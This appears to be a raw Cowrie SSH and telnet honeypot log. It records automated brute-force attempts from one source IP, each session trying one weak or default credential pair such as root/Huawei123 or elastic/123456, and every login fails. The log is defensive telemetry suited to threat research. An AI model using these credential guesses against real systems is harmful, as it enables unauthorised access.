{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":41204,"dst_ip":"10.17.0.5","dst_port":22,"session":"083e10f2e4a8","protocol":"ssh","message":"New connection: 193.151.144.93:41204 (10.17.0.5:22) [session: 083e10f2e4a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:23.774908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:23.785659Z","src_ip":"193.151.144.93","session":"083e10f2e4a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:23.955534Z","src_ip":"193.151.144.93","session":"083e10f2e4a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:24.465013Z","src_ip":"193.151.144.93","session":"083e10f2e4a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:27.299047Z","src_ip":"193.151.144.93","session":"083e10f2e4a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":41220,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7684fb15325","protocol":"ssh","message":"New connection: 193.151.144.93:41220 (10.17.0.5:22) [session: a7684fb15325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:29.201653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:29.206405Z","src_ip":"193.151.144.93","session":"a7684fb15325","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:29.405128Z","src_ip":"193.151.144.93","session":"a7684fb15325","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:29.921418Z","src_ip":"193.151.144.93","session":"a7684fb15325","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:31.526106Z","src_ip":"193.151.144.93","session":"a7684fb15325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":52580,"dst_ip":"10.17.0.5","dst_port":22,"session":"d301ee8e9756","protocol":"ssh","message":"New connection: 193.151.144.93:52580 (10.17.0.5:22) [session: d301ee8e9756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:34.959654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:34.966250Z","src_ip":"193.151.144.93","session":"d301ee8e9756","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:35.137524Z","src_ip":"193.151.144.93","session":"d301ee8e9756","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:35.634164Z","src_ip":"193.151.144.93","session":"d301ee8e9756","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":49890,"dst_ip":"159.203.135.109","dst_port":23,"session":"52b50afa32da","protocol":"telnet","message":"New connection: 79.139.59.21:49890 (159.203.135.109:23) [session: 52b50afa32da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:36.011520Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:36.802150Z","src_ip":"193.151.144.93","session":"d301ee8e9756","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37182,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec5c6c20c091","protocol":"ssh","message":"New connection: 193.151.144.93:37182 (10.17.0.5:22) [session: ec5c6c20c091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:40.499977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:40.504092Z","src_ip":"193.151.144.93","session":"ec5c6c20c091","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:40.673450Z","src_ip":"193.151.144.93","session":"ec5c6c20c091","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.03835368156433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:41.052831Z","src_ip":"50.62.181.92","session":"bdcd22bed06f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:41.182900Z","src_ip":"193.151.144.93","session":"ec5c6c20c091","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:42.359155Z","src_ip":"193.151.144.93","session":"ec5c6c20c091","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37188,"dst_ip":"10.17.0.5","dst_port":22,"session":"d097c20e861d","protocol":"ssh","message":"New connection: 193.151.144.93:37188 (10.17.0.5:22) [session: d097c20e861d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:45.831309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:45.837384Z","src_ip":"193.151.144.93","session":"d097c20e861d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:46.003174Z","src_ip":"193.151.144.93","session":"d097c20e861d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:46.504415Z","src_ip":"193.151.144.93","session":"d097c20e861d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:48.514473Z","src_ip":"193.151.144.93","session":"d097c20e861d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44298,"dst_ip":"10.17.0.5","dst_port":22,"session":"a65339c45b24","protocol":"ssh","message":"New connection: 193.151.144.93:44298 (10.17.0.5:22) [session: a65339c45b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:51.388127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:51.393372Z","src_ip":"193.151.144.93","session":"a65339c45b24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:51.559304Z","src_ip":"193.151.144.93","session":"a65339c45b24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58566,"dst_ip":"159.203.135.109","dst_port":23,"session":"c16aeeebc4cb","protocol":"telnet","message":"New connection: 69.4.83.194:58566 (159.203.135.109:23) [session: c16aeeebc4cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:51.675097Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:52.737890Z","src_ip":"193.151.144.93","session":"a65339c45b24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:53.906045Z","src_ip":"193.151.144.93","session":"a65339c45b24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44312,"dst_ip":"10.17.0.5","dst_port":22,"session":"a74f43b7d793","protocol":"ssh","message":"New connection: 193.151.144.93:44312 (10.17.0.5:22) [session: a74f43b7d793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:56.871029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:56.877307Z","src_ip":"193.151.144.93","session":"a74f43b7d793","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:57.044537Z","src_ip":"193.151.144.93","session":"a74f43b7d793","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:57.547737Z","src_ip":"193.151.144.93","session":"a74f43b7d793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:58.718078Z","src_ip":"193.151.144.93","session":"a74f43b7d793","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":50820,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f716d3d5431","protocol":"telnet","message":"New connection: 79.139.59.21:50820 (159.203.135.109:23) [session: 6f716d3d5431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:01.570074Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":49184,"dst_ip":"10.17.0.5","dst_port":22,"session":"91da35407cfa","protocol":"ssh","message":"New connection: 193.151.144.93:49184 (10.17.0.5:22) [session: 91da35407cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:02.251914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:02.258034Z","src_ip":"193.151.144.93","session":"91da35407cfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:02.503724Z","src_ip":"193.151.144.93","session":"91da35407cfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:02.986877Z","src_ip":"193.151.144.93","session":"91da35407cfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:04.150933Z","src_ip":"193.151.144.93","session":"91da35407cfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":49190,"dst_ip":"10.17.0.5","dst_port":22,"session":"b984ff0979c6","protocol":"ssh","message":"New connection: 193.151.144.93:49190 (10.17.0.5:22) [session: b984ff0979c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:07.668761Z"}
